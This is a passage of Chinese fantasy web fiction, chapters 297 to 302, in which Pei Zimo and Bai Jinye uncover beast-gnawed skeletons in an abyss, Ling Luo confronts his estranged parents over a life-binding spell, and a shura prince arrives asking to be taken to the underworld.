“是啊。”裴子墨叹了口气,最后只是说,“让我想想。” 白锦夜还想说什么,想让她打消这个念头,但是张开嘴还不等说话,就见左辞慌慌张张地跑了进来。 “王爷,师父,不好了。”左辞一进院门就高声喊道。 白锦夜听着这称呼就忍不住皱起眉头,“怎么了?” “我刚才在那边练习术法,不小心打破了石壁,露出好多白骨。”左辞有点惊慌失措。 白锦夜拧着眉,左辞是上过战场的,尸体白骨都见得多了,自然不会因为见到有白骨就慌成这样,便站起了身,“带我们过去看看。” 裴子墨也站起来,又仔细地回忆了下,在她的记忆里,这里倒是不曾有过大量的死人,“说不定是当年‘神冥公’一族的人掉下来之后的白骨。” 左辞在前面引路,“那些白骨,死状凄惨。”露出白骨之后,他自然上去检查,“当时凌幽不是说,这里塌陷,那些族人掉下来么?如果是那样的话,应该是摔死,骨头上应该有骨折的痕迹。但是我刚才检查过了,那些人的骨头上,并没有骨折的痕迹,反倒是……有不少齿痕,有的骨头也像是被生生的咬断。” 他说着咽了口口水,“感觉像是被什么野兽活活咬死的。” 裴子墨微微皱了下眉头,转头看向左辞。 左辞点点头确认自己的说法,“我就想起月城的枯尸了,但枯尸的嘴那么小,肯定也造不成这么大的痕迹。” 三人很快到了露出白骨的石壁前,裴子墨上前仔细检查了一下。 左辞说的确实没错,这些人应该是生前被什么野兽活活咬死,甚至于……这里可能就是那个野兽的巢穴,所以所有的白骨都在这。 她拧着眉,隔了半响突然想到什么,“怪不得凌幽要去找清幽果!” 第297章 妖山 “看样子,我们都被凌幽骗了。”裴子墨说完顿了下,拉着白锦夜和左辞就往回走。 “怎么回事?”白锦夜拧起眉头,想着裴子墨之前说过,凌幽在她的卦象里是个变数的事,心里也有了些不太好的预感。 “那一次,我带着左辞他们去流霞山,第一次遇到凌幽的时候,他是在流霞山上等清幽果成熟。清幽果是给兽类食用的,兽类吃了以后,可以开神智。”裴子墨说着脚步都不由加快,“当时还以为他不过是在收集天材地宝,看样子他就是故意找清幽果的,他可能在这里养了什么。” 裴子墨说着脸色也更加难看,“说不定……‘神冥公’一族的后人,也根本不是争夺什么华精玉触碰了阵法掉下深渊,他们可能都被凌幽喂野兽了。” “不……不能吧?”左辞转头看了看白骨的方向,才开口问,“什么人这么丧心病狂,能用自己的后代喂野兽啊。” “不知道。”裴子墨眯了眯眼,“‘神冥公’这一脉,游走于阴阳之间,本来就很邪性,做出什么都不奇怪。” 白锦夜轻咳了一声,“也不能一竿子都打死吧?” 裴子墨转头看了他一眼,没再说话。 回到院子里,裴子墨的脚步停了下来,往石坟那边看了一眼,半响后才收回目光,绕着院子画了一个防御的阵法。 她的动作自然落进白锦夜的眼里,“要不要……把他们的骸骨先迁进来?” “不用。”裴子墨摇了摇头,“你们在院子里呆着,不要出来。”说完便转身一个人往石坟那边走。 白锦夜看着她的背影,微微抿起唇。 左辞挠了挠头,“王爷,你有没有觉得师父她怪怪的?她好像认识那两具枯骨呢。” 白锦夜收回目光,转头看向左辞,“我觉得,咱们是不是有必要聊聊你这个称呼的问题?” “王爷你有必要这么小心眼么?”左辞往后退了几步,“难道你和我师父的关系会因为我一个称呼变了么?” 白锦夜懒得搭理他,“看样子最近都不能出门了,你去清点下食物。” “好。”左辞赶紧往地窖走。 裴子墨差不多一个时辰后才回来。 白锦夜站在门口已经望眼欲穿了,见到她就赶紧往前迎了几步,抬手握住她的手,“脸色怎么这么难看,发生什么事了么?” “没事。”裴子墨摇了摇头,“设了个阵法,有些耗费精力。” 白锦夜沉默了下,没有说话,刚才裴子墨在这院子周围画的阵法,也不过是一炷香的时间,而且画完之后,脸色如常,显然那边的阵法要更复杂些。 见白锦夜没说话,裴子墨隔了会才道,“这边的阵法,之后我可以慢慢巩固,而且我们都在这里,可以随机应变,但是石坟那边,之后估计都顾不上了,若是这崖壁上碎石掉落坍塌,那石坟可能就要永远的埋在这里了。” 白锦夜微微点点头,也没有提诸如把两具骸骨带出去安葬的建议,还不知道会发生什么事情,带着两具成年人的骸骨自然不现实,况且,这里本身就是他们前世渡过最后时间的地方,葬在这里,本身也该是他们的心愿。 “王爷,吃的东西应该足够了,但是水可能撑不了太多天。”左辞也走了出来,脸色有些为难,“要不要现在出去打些水回来?” “暂时先不用。”裴子墨摇了摇头,“等水没了,我会想办法的。我们先等等,掩藏白骨的石壁刚刚破开,若是那野兽还在,应该会有所察觉,最好……最好是凌幽离开这里的时候,已经把那野兽带到了别的地方。” “或者,往好处想,凌幽已经拿到了清幽果,如果清幽果已经给那兽类服下,它有了神智,总比只有兽性要好。” “那我们什么时候从这离开啊?”左辞忍不住开口问道。 “再等等。”裴子墨轻轻叹了口气,具体要等多久,要等什么,她也没有说。 “你去休息会么?”白锦夜接过了话,“还是这院子里要再布些阵法?” “这院子本身应该有些阵法,但我需要想一想。”裴子墨说着四下看了看,“你们不用太担心,我只是怕有万一。” “不担心不担心。”左辞赶紧道,“只要有师父你在这,我什么都不怕。” 白锦夜瞪了他一眼,拉着裴子墨往房间里走,“那你先休息会,一边休息一边想。” 裴子墨回到房间,便坐在窗边发呆。 白锦夜帮不上忙,也不知道该如何缓解她当下的情绪,只能在她身边陪她坐着。 过了很久,裴子墨才回过神来,转头看向白锦夜,“你帮我去找一下孟婆。” “好。”白锦夜答应下来才问,“有什么事要问她?” “你问问她记不记得凌幽这个人,当年他因为裴黎和凌珞的事,应该没少去地府,你问问她……凌幽有没有从地府带什么离开。”裴子墨低声道。 白锦夜顿了下,片刻后才问,“你怀疑凌幽养的兽类,是从地府带回来的?” “很早之前,兽类确实可以修炼。”裴子墨说着眯起眼睛,那记忆已经很遥远了,“但兽类和人类毕竟不一样,兽性难驯,除了一些本身就比较温顺的兽类或者吃素的兽类,剩下的很难不伤害人类,尤其是当兽类会了一些术法,就会用这些来迷惑人类成为他们的食物,毕竟……这是兽类的天性,他们的本能就是为了填饱肚子。” “能开神智的兽类少之又少,除非有什么机缘吃了天材地宝,或者修炼到一定程度。我记得有一次遁世岛的任务,就是除掉没有开神智的但是能修炼术法的兽类。” 裴子墨轻笑一声,“看够了人与人之间的残杀,就让人兽相斗,这种事也只有遁世岛能做得出来了。” “但是开了神智的兽类多少还是想要保护自己的同族,斗到后来,两败俱伤,到最后,人类划出一片山,所有的兽类,无论开没开神智,都在那山上不准下山,当时那里就称为妖山。” “世间万物,无非都是想要存活,只因为遁世岛一次任务,从此兽类就被划为妖族。再后来……”裴子墨说着顿了顿,“妖山起了大火,据说是那些兽类危害苍生,糟了天谴,天降雷火,把妖山烧了个干净!” 第298章 修罗血 白锦夜听着眯了眯眼,“大火是遁世岛所为么?” “就算是他们做的,他们也不会承认,那山下有阵法,普通兽类根本没办法破阵而出。”裴子墨说着手微微握成拳,“当时若是人类撤了阵法,还能救下来一部分,可惜……不过也许并不是所有会术法的兽类都在那场大火里被烧死了。” “火势那么大,眼见着是绝对护不住同族的,也许开了神智的兽类有些逃了出来,或者是为了不被灭绝、护着后代逃了出来。只不过从那天开始,能修术法的兽类就很少出现了,大概是长了记性,都藏起来了。” “偶尔有零星的会术法的兽类出现,对人类构不成太大的威胁,反倒会被人类豢养,于是有一段时间,就兴起了豢养兽类之风。但也没持续太长时间,毕竟清幽果难找,就连兽类都不多了。” 裴子墨又想了会,才道,“到凌幽他们那个时候,兽类就更少了,凌幽那些年一直往返地府,从地府带走什么,也不足为奇。” “我去看看。”白锦夜点点头。 “你去吧,我再去看看外面的阵法。”裴子墨站起来,留白锦夜一个人在房间,继续去巩固外面的阵法了。 本以为白锦夜去一趟,大概也用不了多久,可裴子墨把院子四处的阵法全都布置好,也不见白锦夜醒来。 左辞做好了饭,去看了白锦夜几趟,都见他睡得香,“师父,你说王爷怎么这么心大,眼下还能睡得这么熟么?” “咱们先吃吧。”裴子墨查看了下白锦夜,见他的状态没有问题,估摸着是在那边遇到什么事了,他可以不用吃喝,但是她和左辞还得填饱肚子。 这些日子就只有他们三个,所以就免了什么主仆之分,左辞也跟他们同桌吃饭。 上了饭桌,左辞端着饭碗,还是不时地往房间里面看,可见着裴子墨一脸如常,便知道应该没什么问题。 等到裴子墨打算睡觉的时候,白锦夜才睁开了眼睛。 见白锦夜醒来,裴子墨也没了睡意,赶紧起身问他情况。 “孟婆那边也不清楚。”白锦夜皱起眉头,“她确实记得凌幽,说他去了很多很多次地府,起码去的比我的次数要多很多。但是凌幽具体带走了什么,不归她的管理范畴,她并不知道。不过说完凌幽的事,提到兽类的时候,她说地府有一年也和兽类发生了冲突。在那一年之前,地府也有些地府的兽类,但是它们不会乱跑作恶,也没人管。” “直到某一年,突然不少兽类的魂魄到了地府,那些兽魂怨气极重,搅乱地府,后来地府的人出手,将那些魂魄送进了炼魂谷,自此才算是安定下来。” “她说炼魂谷的事,你应该更清楚,让我回来问你。” 裴子墨看着他,“既然这样……你为什么去了这么久?” 白锦夜的目光有些躲闪,“孟婆也不是一开始就愿意跟我说这些事,我等了会。” “你去了炼魂谷是么?”裴子墨可不信孟婆会拖他这么长时间,她要么不说就是不说,要是能说也不会藏着掖着,不至于拖了这么久才告诉他。 隔了半响,白锦夜才有些尴尬地点了点头,“不过我就是在谷外,没有进去。”他听裴子墨提起过炼魂谷,又听孟婆说那些兽魂都被镇压在炼魂谷,当然知道这不是什么好地方,所以他也就是在谷外看看,哪敢进去?裴子墨还在外面等他,他可不想回不来。 裴子墨拧起眉,“幸好你没进去,不然现在可没人能把你捞出来了。”她说着思索了会,“孟婆不会无缘无故跟你说炼魂谷的事,可是……我初进炼魂谷之时,神智还算清醒,但在哪里呆的久了,浑浑噩噩,很多事根本不记得了。” 白锦夜抬手握住裴子墨的手,他只在炼魂谷外待了片刻,但是里面惨叫的声音不绝于耳,他不敢想象,裴子墨在里面呆了千年,会是怎样的折磨。 “难道……是因为我?”裴子墨轻声道,“算算时间,妖山出事,应该就是我在炼魂谷的时候,大批兽魂进入地府,不作孽还好,若是作孽,地府只能投进炼魂谷。炼魂谷里的魂魄互相厮杀,而且炼魂谷的地界有限,若是魂魄太多,看管炼魂谷的修罗就会随机撕碎一些魂魄。” “呵。”她又轻笑一声,“能被遁世岛如此看得起,也真是我的荣幸。” “但是凌幽要是想带什么出来,那也要去炼魂谷,他是怎么进了炼魂谷,又是怎么出来的?”白锦夜开口问道。 “炼魂谷由修罗一族看守,即便是地府想要捞人出来,也只能是由修罗一族去捞人。他们这一族,就在炼魂谷的入口。”说到这,裴子墨微微睁大眼睛,“难道凌幽带出来的,是修罗?” “怪不得当年,我和凌珞想要再炼制冥尸的时候,怎么都练不成,感觉总是缺一些东西。后来鬼卿出事,迫不得已之下,用了我和凌珞的血,原来主要是凌珞的血,那就是……修罗血了。” “他带了修罗回来,只是要修罗的血,自然不会杀了他。若是一直养着……”裴子墨说到这停了下来,没有再往下说。 “如果修罗血是炼成冥尸的重要一环,那我呢?”白锦夜不懂,“当时可没有凌珞的血了。” 裴子墨笑了笑,“一次偶然的机会,我发现凌珞的血有些异常,就跟他要了一些,我从他的血里提炼出了一种黑色的液体,我也不知道那是什么,就一直随身携带。后来有一次我起卦的时候,算到我有一劫,但是这劫里有助力,助力是楚星玄。” “那时候他们暗城的人,一直防着圣女,身上总会带很多的药材,我就把一些常用的药材混进了楚星玄随身携带的药材包里。装着黑色液体的小瓶子,当时也就一起混了进去。” “在王府我调制那碗药的时候,很多药材就是跟楚星玄拿的,里面混进了我的血,但是味道总是不对,我就把那黑色的液体倒了进去,味道才和炼制鬼卿的那次一样了。” 想到当时的那碗药,白锦夜不由还是有点作呕,“味道?不会就是那股恶臭的味道吧?” 裴子墨点点头,“我混了自己的血,再加上药材,虽然有血腥味有药材味,可就是没有那股恶臭的味道。”说到这,她又笑了笑,“不过修罗这种东西,都是群居的,而且不会伤同族人,如果你身上有修罗血的味道,若是真的碰见了,说不定他们会把你当成同类,不会伤害你的。” 第299章 我真是做梦都能笑醒 裴子墨说的听起来像是好事,但是白锦夜一点都不想跟修罗碰上,就算他会没事,那裴子墨和左辞呢? “睡吧。”裴子墨打了个哈欠,重新躺了下来。 “你要不要……”白锦夜顿了会才问,“你要不要起一卦问问吉凶?” 裴子墨微微摇了摇头,“吉凶如何,都是命数,事情里只要掺上凌幽,以我现在的能力,很多事就没办法预测得那么准了。” 白锦夜没有说话,看着裴子墨睡去,他丝毫没有睡意,就一个人起身到了院子里。 在院子里坐了会,实在是无聊,便到地窖里拿酒。 本来就是想看看酒是不是都是一样的,有没有什么不同,挑了半天,却在某一坛酒的下方看到一个奇怪的阵法图案。 他不知道这是什么,自然也不敢乱动,只能等着裴子墨睡醒了看看是什么。 于是酒坛他也不敢碰了,随手拿了坛放在最外面的酒离开了地窖。 * 另外一边,袁澈带着凌幽、裴黎已经回到了北冥国。 柳甫已经没有跟他们在一起了,因为他们刚一出琼华山,柳甫就感觉到巨大的吸力,他自己无论如何都抵抗不了。 凌幽和裴黎多次尝试,也没办法斩断柳甫跟这吸力的关系。 裴黎知道,这就是盛京的阵法在作祟,要把柳甫吸回去,既然没办法,那也就只能眼睁睁地看着柳甫离开。 他们也告诉柳甫不用担心,等他们去北冥国找到凌珞,之后就会想办法再来解救柳甫和其他被镇住的魂魄。 到了北冥国之后,袁澈把他们带进了皇宫,“你们说的那个凌珞,我不认识,但如果他就在北冥国的话,那这里已经是北冥国了,你们自行去找他吧。” “别耍花样。”凌幽眯眼看着他,“若不是你还有点用,你以为你还能活到今天?” “哦?”袁澈挑眉看他,“所以我的用处就是带你找到凌珞了?那要是这么说,我一日不带着你们找到他,我就能继续活着,但凡我带你们找到了他,那我才是死路一条。既然这样……我就更不能带你们去找他了,不是么?” 凌幽上前一步,抓住袁澈的衣襟,“我再问你最后一遍,凌珞在哪。” 袁澈摊了摊手,“我确实不认识这个人。” 裴黎拧着眉,想起之前裴子墨的话,便出口解释道,“你可能不知道他的名字,但是你们应该见过的,他是你们现在的少祀官。” “少祀官?”袁澈这下明白了,“原来你们要找他,不过以往有事的时候,都是少祀官主动来找我,我们想找他可不容易。但听说他住在九幽圣谷,具体在哪,我就不清楚了。” 凌幽松开手,把袁澈推搡到一遍,九幽圣谷,他们从小都是在这里长大,自然知道那是什么地方,当下也不需要再用袁澈带路,转身就要去找人。 只不过刚走了几步,外面就传来熟悉的声音,“听说有人找我?国君,这就是你的待客之道么?” 袁澈趔趄了几步,靠着桌子停下来,捂着胸口咳了会,气息平稳了才道,“你们要找的少祀官来了。” 凌幽和裴黎对视了一眼,便见一身红袍的凌珞慢慢地走了进来。 袁澈也就往旁边退了几步,“既然你们有事要谈,那我就不打扰了。” 凌幽和裴黎这会也不愿意再在袁澈的身上费心思,见没人理会自己,袁澈就迅速的从旁边的门离开。 在皇宫里转了半圈之后,袁澈便迅速的往圣殿的方向走去。 凌珞进了门,也没往里走,就站在门口打量着面前的两个人,半响后,才对着裴黎道,“哦,上次我去找子墨,在房间里的那个人就是你,是你破了我的黄泉路。” 凌幽转头看了看裴黎,微微沉默了会,“珞儿,这……是你娘。” 凌珞对于自己的身世虽然隐隐的知道一些,但是他毕竟从来没有见过裴黎。 别说凌珞对自己的这个娘有没有什么感情,就连裴黎一样不知道该用什么的感情来对待凌珞。 凌珞倒是似乎也不是很在意裴黎的身份,只是确认了自己刚才的话之后,便看向凌幽,“那你回来做什么?”问完这句,又嗤笑了一声,“活了这么多年,终于死了,能亲眼看到魂魄状态的你,我真是……做梦都能笑醒。” “珞儿。”凌幽往前走了一步。 凌珞跟着往后退了一步,又抬起手止住凌幽往前走的步伐,“别,你可别过来,我从小就最怕你了,现在也一样怕你,你和我之间,最好保持一些距离。” 凌幽拧着眉,停下了脚步,“珞儿,我们有话问你。”说着,他顿了顿,才问,“你和裴子墨之间,怎么会有共命的术法?这术法……”他犹豫了半响还是继续道,“这术法曾经就被列为禁术,不过有人不愿意见到自己身边的人死掉,才会把两个人的命绑在一起,可大多都是师徒、父母和孩子又或者是夫妻。” “若是其中一人长生不死,另外一人也可跟着不死,但若是其中一人因为什么意外死了,另外一人即便是长生不死之身,也会跟着一起死掉。” “你能活至今日,可知当初我费了多少心力?你知道那裴子墨是什么人,就做出这样的决定?” 凌珞像是看着陌生人一样看着凌幽,半响才道,“你不是死的时候伤到了脑袋吧?你什么时候对我这么关心了?” 凌幽的眉心皱得更紧,“以前的事,你还怪我,但我也是为了你好。” “为了我好?”凌珞笑得都快哭出来,好半天,他像是明白了什么,“哦,我知道,因为我娘在这是么?你表演出对我的关心,都是给我娘看的吧?就像以前,你当着其他人的面,就会很关心我,好像没了我你就活不下去一样,现在又开始表演了?” 他转头看向裴黎,“他演技这么差,你也信么?你现在还在被他骗着么?枉你术法如此之高,已经趋近成仙之态,还要被他玩弄于股掌之中,真是……”他说着鼓起掌,“爹,我真是得给你鼓掌啊。” 第300章 我奉劝你离凌幽远一点 “珞儿!”凌幽微微提高了声音,表情已经有些不耐。 “呵。”凌珞轻笑一声,也不愿意再多说,“有什么话赶紧说,说完赶紧走,这里不欢迎你们。” “你这个逆子……”凌幽正要往前,却被裴黎拉住了胳膊。 裴黎犹豫了片刻,才走上前,轻声开口,“凌珞,我知道你对你的身世应该有大概的了解,至于你认不认我是你娘,都没有关系,但是眼下,有一件很重要的事情,是关于裴子墨的。这个人,你了解多少,你为什么要跟她共命?” 凌珞沉默了会,语气虽然有些生硬,可也还是回答了这个问题,“子墨是我看着长大的,从她小时,所有术法便都是跟我学的,说是师徒也好,又或者其他关系都好,我不想让她死,跟她共命有什么奇怪?” “少拿这种话来搪塞我们。”凌幽眯了眯眼,“以往你跟柳浅爱得死去活来的时候,也没见你舍得用共命这种术法。” 没听到这个名字,凌珞的表情也算是能维持平和,听到这个名字,他眼底的恨意简直快要漫出来,他瞪了凌幽好一会,慢慢地又把眼底的恨意压下去,嘴角又勾起一丝笑,“是啊,当初我怎么就那么傻,没跟柳浅共命呢?如果那会我就跟她共命,说不定她现在还能活着呢。” 说完这句,凌珞像是想到了什么,“哦,我想起来我为什么要跟子墨共命了,因为她说她要杀了你,我想这种好事我怎么也得好好帮她一把,为了让她能活到杀了你,我就跟她共命了啊。” “你……”凌幽还想说什么,可却又被裴黎拉住。 她看着这两个人针尖对麦芒,这样下去,大概也没有办法好好交流,“不然,你先出去走走,这么多年没回来了,这里肯定很多都变了样,你先出去转转,我和凌珞聊一会。” 凌幽沉默了许久,却动也没动。 “他怎么会让你单独和我聊天呢?他怕我戳穿他的真面目呢。”凌珞笑道。 凌幽眯眼看着凌珞半响,便迈步向外面走去。 走到凌珞身侧的时候,凌珞压了极低的声音,“你别再想控制我了,你也永远都做不到了。” 凌幽眸光微缩,脚步顿了下,但还是向外出了门。 等他离开,凌珞才往里面走,在椅子上坐下来,“你想跟我聊什么?”问完之后又补充,“最好别聊什么母子亲情的,这上千年来,我没有娘,现在也不需要。” 裴黎看着他轻轻地叹了一口气,转身在另外一张椅子上坐下,整理下思路,才开口,“我跟裴子墨接触过一段时间,我觉得她不像是作恶多端的人,但是……也确实是她杀了凌幽,我实在想不明白原因,可我要对她动手的时候,她说她和你共命,我就更没办法再对她下杀手。” “因为她杀了凌幽,所以你是想给凌幽报仇,就想杀了她?”凌珞开口问道。 裴黎犹豫了下,点了点头。 “那如果我杀了凌幽,你也打算杀了我么?”凌珞又问。 “当年我离开之后,并不清楚发生了什么事,这段时间我才刚刚从阵法里苏醒,虽然隐约的有了一些了解,但……也许知道的也并不是事情的真相。”裴黎抬眼看向凌珞,“你若是愿意说,便可以跟我说说。” 凌珞没说话,只是转头看向外面,像是在思索什么。 半响后,裴黎才问,“刚才你说,裴子墨早就说要杀了凌幽,是么?你知道原因么?” 这个问题,凌珞依旧没有回答,“我奉劝你离凌幽远一点。”说完便起了身。 “那裴子墨呢?”见他要走,裴黎赶紧开口问道,“对于她的事,你不打算解释什么么?凌幽说,她是三世魂,有这样的魂魄转世,地府会第一时间通知你,按照你们‘神冥公’一脉的规矩,你是要除掉三世魂的,可你不仅让她活下来,还教她术法,甚至怕她死掉和她共命,这又是为什么?” “三世魂本来就是‘神冥公’一脉的骗局,你若是愿意相信凌幽,那就一直相信他,将来发现被他利用的时候,不要后悔就行了。”凌珞说着就往外走,走了几步又想起什么,转头看向裴黎,“子墨呢?你不能杀她,你把她怎么样了?” 裴黎微皱了下眉头,“在琼华山,有一道深渊,那深渊之中,应该是被当年的那块华精玉给同化到几乎与地府环境一致,她被我打下了那道深渊。” 凌珞往前走了几步,“你把她打掉那深渊之下?”隔了会他想起什么,“白锦夜呢?” “也一起跳下去了。”裴黎如实回答。 听到这个,凌珞才微微放心,也不打算再说话,转身要走。 “但我上次见你,对裴子墨和白锦夜可都不算友好。”裴黎看着凌珞的背影,“甚至召唤出黄泉路,又三番四次威胁,那时可完全看不出来,你是会与裴子墨共命的样子。” 凌珞垂下眼,笑了笑,“是啊,子墨可是我养大的,我怎么舍得伤害她呢,不过演戏给某些人看而已。” “给谁看?凌幽么?”裴黎不懂,“凌珞,我是真的想好好跟你沟通。” 凌珞沉默了片刻,这才重新转身看向裴黎,“好啊,那我也好好告诉你,凌幽他根本不爱你,他恨你,他想要复活的从来都不是我!他一直以为你死了,他想要复活的是你,他不过是拿我练手而已!” “可是他怎么都找不到你的魂魄,于是就把对你的怨恨全都转嫁到我身上,没日没夜的折磨我!但在外人面前,他又装作一副对你深情对我宠爱的模样,我真是看够他那张虚伪的脸!” “我告诉你,琼华山的那道深渊,就是凌幽亲手所为,他在那下面养了野兽,他用了无数活人投喂那野兽!甚至于有时候情急,就用‘神冥公’一脉的后人去投喂。你是没有亲手杀了子墨,但是被你扔下那深渊,只要遇到那野兽,她活的概率,可能也不大了。” “让我猜猜,是凌幽提议你不要杀她,把她封印在深渊之下的吧?” 第301章 修罗的报酬 裴黎看着凌珞,眼里闪过一抹惊诧。 凌珞轻笑几声,显然对这样的事丝毫都不诧异,他抬手捋了捋袖口,“我和子墨之间的事,是我们之间的事,跟任何人都无关。她虽然有时候不太听话,可归根到底,她也不会做什么坏事。我教出来的人,我心里清楚。” 裴黎没说话,只是抓住了凌珞的手腕。 当时在琼华山的时候,她没办法近距离的查看裴子墨身上的共命术法,但眼下却可以查看凌珞的。 凌珞也就摊平着手心,大方地给裴黎看着。 半响后,裴黎的脸色微变,“这术法……以裴子墨的年纪看,你见到她的第一面,就施了这术法,是么?” “是。”凌珞点点头。 “你就是因为她是三世魂,才跟她共命,是么?”裴黎又问。 凌珞又点了点头。 “三世魂,到底是什么?”裴黎以前从未听说这个说法,也不过是这一次和凌幽见面之后,才从凌幽的口里得知。 听到这个问题,凌珞勾着唇角露出一抹笑,“我也不知道,我就不想让凌幽好过,所以啊,我就是不想遵守‘神冥公’一脉那些破规矩。你最好祈祷子墨在那深渊下没事,不然你万死难辞其咎。” 这次说完,凌珞转过身,再也没有停,径直离开。 * 裴子墨猛地从梦中惊醒,坐起来的时候,还是心有余悸,她大口喘着气,好半天才平复下来。 白锦夜闻声也进了门,看着她脸色微白,便赶紧问道,“怎么了?” “做噩梦了。”裴子墨皱起眉头,“我梦到鬼卿……”她说着顿了顿,没有再往下说。 白锦夜抬手抚了抚她的后背,“只是噩梦而已,别多想。” 裴子墨点了点头。 “对了,我在地窖里看到了一个阵法,你要来看看么?”白锦夜见她还是有几分惶恐模样,便出言转移她的注意力。 “地窖里?”裴子墨转头看了看白锦夜,她的记忆里并没有,便披上衣服,跟他一起下了地窖。 白锦夜把阵法指给她看。 裴子墨拧眉看着这处阵法,“这阵法只是封存东西用的,就像是封存这些酒和粮食一样。”她说着微微抿了抿唇,有人在这里封印东西,并且她不知道,那是谁,也就显而易见了。 大概是前世她死了以后,只剩下那一个人…… 裴子墨沉默了会,才从一旁拿起铲子。 阵法破开,薄薄的一层土之下,便有一个一尺见方的木匣。 她小心翼翼地把木匣拿出来,正要打开,就听到外面左辞的喊声,“王爷,师父,你们快来看看。” 裴子墨和白锦夜对视一眼,抱着木匣便立刻往外走。 出了地窖,就见到左辞如临大敌般地站在院子中间向外看着,而在院门外,一个长相俊美妖异的男子就站在门口。 因为门口的阵法,他被阻挡在外面,所以他就站在那,往院子里面看着。 裴子墨微微皱起眉头,把手里的木匣交给左辞,才往外面走了几步,“你是什么人?为什么会在这里?” 那男子看着裴子墨,也不说话,但很快,他的目光就移到白锦夜的身上,眸光里带着几丝炽热。 “我已经问了他好一会话了,他就是什么都不说。”左辞在裴子墨的身后低声道,“也不知道是聋子还是哑巴,真是可惜,白瞎了这张脸,也不知道他会不会写字啊。” 左辞的声音不大,但是那男子显然是听见了的,他的脚便开始在地上蹭来蹭去。 起初裴子墨他们还以为他是真的不会说话,所以打算在地上写字来沟通,但是片刻后,裴子墨就拽着白锦夜和左辞往后退了几步,那男子显然不是在写字,而是在擦掉地上的阵法。 裴子墨拧着眉,破阵自然也有破阵的规矩,她也从来没见到有人就这么轻轻的用脚蹭来蹭去,便可以破掉阵法。 即便她这阵法没有多高级,可也不是这么轻易就能破坏的。 那男子擦掉阵法之后,又往前走了几步,这一下便到了院门。 裴子墨抬手虚抓了一把,就把七杀斩握在了手里。 男子手都已经搭上了院门,正要推开,目光却落在了七杀斩之上,于是又把手收了回来,开口问道,“你是什么人?为什么会在这里?” 他的语调生硬,又有些像是在模仿。 左辞眨了眨眼睛,“师父,这不就是你刚才问他的话么?” 男子看向左辞,也重复了一遍他的话,“师父,这不就是你刚才问他的话么?” 但是这一次,已经比刚才好一些,没有那么生硬了。 “他才刚刚学说话。”裴子墨眯起眼,“不知道是什么兽类,化了人形,但是在这深渊之下,一直没人跟他交谈,所以他不会说话。” “那不就是妖怪?”左辞瞪大了眼睛,“我只在话本子里见过,只有妖怪才能化人形。”说完他想了想又道,“但话本子里一般都是女的,师父,你看他这样,是男的还是女的?” 裴子墨和左辞说话的声音虽然不高,可对方却全都听了过去,不仅听了,还跟着模仿,等他们不说话了,他自己又叽里咕噜的说了一堆,但这会,语调就已经完全和常人无异了。 “学会了吧?”裴子墨这才看向他问道。 男子的目光依旧在七杀斩上,吐出两个字,“仙器。” “倒是有几分见识。”裴子墨看着他,怪不得刚才看到七杀斩,他就没再往院子里面走。 隔了会,他又看向白锦夜,“地府,你身上有地府的气息,你可是从地府来的?” 白锦夜微微皱起眉头,“我不是从地府来的,但是我可以去地府。” “可以去地府?”男子闻言激动的再次往前走了几步,“你可以带我去地府么?你带我去,我给你报酬。” “看样子我们猜的没错了。”裴子墨轻笑一声,“这位……老家大概就是在地府了,不过修罗的报酬谁敢要呢?修罗每次去炼魂谷撕碎魂魄的时候,不都是说那是修罗的恩典么?修罗的报酬,大差不差,可能也是如此吧。” 第302章 地主家的傻儿子 男子盯着裴子墨,显然对有人认出自己的身份觉得有些不可思议。 “说说吧,你能给什么报酬?”裴子墨又问道,这修罗一族向来翻脸不认人,她可不认为对方如今许诺的报酬将来真的能兑现。 但是眼下对方也没有翻脸动手的意思,他们对上修罗本就是弱势,总不能自己先动手。 男子想了半天,像是也想不到,最后就放弃了,“我爹是修罗王,只要你们送我回去,他一定什么都能答应你们。” 听到这句话,裴子墨“噗嗤”一声就笑了出来,甚至主动上前,打开了院门,把他迎了进来,开口问道,“饿不饿?” 男子点点头,“饿。” 裴子墨看向左辞,“还不快点去做饭。” 左辞有些愣,但也还是听话地先把木匣放回房间,然后去做饭了。 裴子墨靠在白锦夜的耳边低声道,“修罗王只有一个儿子。”她说着点了点脑袋,“但是这里有问题,地主家的傻儿子。凌幽把他带出来,大概以为是因为没开神智,所以不太聪明,才会四处寻找清幽果,他可能以为给他吃了清幽果,他脑子就能好起来。” “我能听见你说话。”男子转头看着裴子墨,脚步停了下来,“你说我是傻子。” 裴子墨只想问,难道不是么? 她在炼魂谷之时,便听说过这事,那修罗王后来再怎么努力,都没办法生出孩子了,所以也就只能把这一个傻儿子捧在手心。 不过眼下看来,吃了清幽果倒也不是完全没用,好像是没有以前那么傻了。 男子像是真的很久没有吃过东西了,足足吃了三大锅米饭,十几盘炒菜,又喝了五坛酒,这才睡了过去,呼噜打得震天响,气得左辞踹了他好几脚,他只是翻了个身,一点反应都没有。 左辞只好拿着自己的枕头出来,坐在院子里,眼见着今天他只能打地铺了,“这小身板怎么能吃那么多东西?三大锅米饭啊,给他做顿饭真是累死我了。” “那是因为这只是化形,你没有见到他本体,修罗起码也要有三四个成年人这样粗壮。”裴子墨看着左辞笑道,“只是多吃点东西而已,不是坏事,起码……对我们没有敌意。” “倒也是。”听裴子墨这么一说,左辞叹了一口气,认了命,“怪不得这夸张的呼噜声跟那张帅气的小白脸一点都不符合。” 白锦夜看了看房间的方向,才低声对裴子墨道,“我只能带魂魄去地府,根本不可能把一个大活人带到地府去。” “凌幽能把他带出来,应该就有办法带回去,这件事先不着急。”裴子墨开口道,“婴幼儿时期的修罗都会被母修罗守着,想偷走很难,但像这脑子不太灵光,就能被人骗走。所以如果凌幽真的要带一个修罗出来,他确实是最好的选择。可是如果真的是修罗王的儿子不见了,那在地府是一定会引起轩然大波的,孟婆不可能不知道。” “是啊。”白锦夜点点头,想着之前他见到孟婆的时候,孟婆的反应,又不像是装出来的。 “这可是修罗王唯一的儿子啊。”裴子墨眯起眼,“不知道是不是凌幽养了他上千年,失去了耐性,才会把他扔在这。”说完,她顿了顿,才看向白锦夜,“总之,不管怎么样,暂时就先稳住他,就说要带他去地府,需要准备一些东西,不然修罗发起狂来,咱们都不是对手。” 白锦夜自然也明白,甚至理由都想好了,就说他们在这里避难,暂时没办法离开,想要去地府的话,必须要先从这里离开再说。 只不过这一晚,没有一个人能睡得着,左辞几度担心男子的呼噜会把这深渊震塌,“奇了怪了,之前这么多天,他都没在睡觉么?为什么从来没听到什么呼噜声?” 裴子墨眯眼想了会,“说不定,是因为吃了清幽果,在药力之下昏睡,但不知道是因为什么刺激得醒了过来。” 